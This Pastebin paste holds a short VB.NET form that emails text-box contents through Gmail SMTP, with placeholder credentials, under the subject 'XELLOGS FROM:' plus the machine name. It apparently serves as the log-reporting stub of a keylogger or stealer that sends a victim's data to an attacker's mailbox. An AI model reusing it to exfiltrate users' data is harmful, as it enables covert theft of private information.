SHARE
TWEET

Untitled

a guest Dec 23rd, 2017 286 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6.         Dim MyMailMessage As New MailMessage()
  7.         MyMailMessage.From = New MailAddress("123@gmail.com")
  8.         MyMailMessage.To.Add("123@gmail.com")
  9.         MyMailMessage.Subject = "XELLOGS FROM: " & Environment.MachineName
  10.         MyMailMessage.Body = TextBox1.Text
  11.         MyMailMessage.Priority = MailPriority.Normal
  12.      
  13.  
  14.         Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  15.         SMTPServer.Port = 587
  16.         SMTPServer.Credentials = New System.Net.NetworkCredential("123@gmail.com", "123")
  17.         SMTPServer.EnableSsl = True
  18.         Try
  19.             SMTPServer.Send(MyMailMessage)
  20.             MessageBox.Show("Email Sent")
  21.         Catch ex As SmtpException
  22.             MessageBox.Show(ex.Message)
  23.         End Try
  24.     End Sub
  25. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top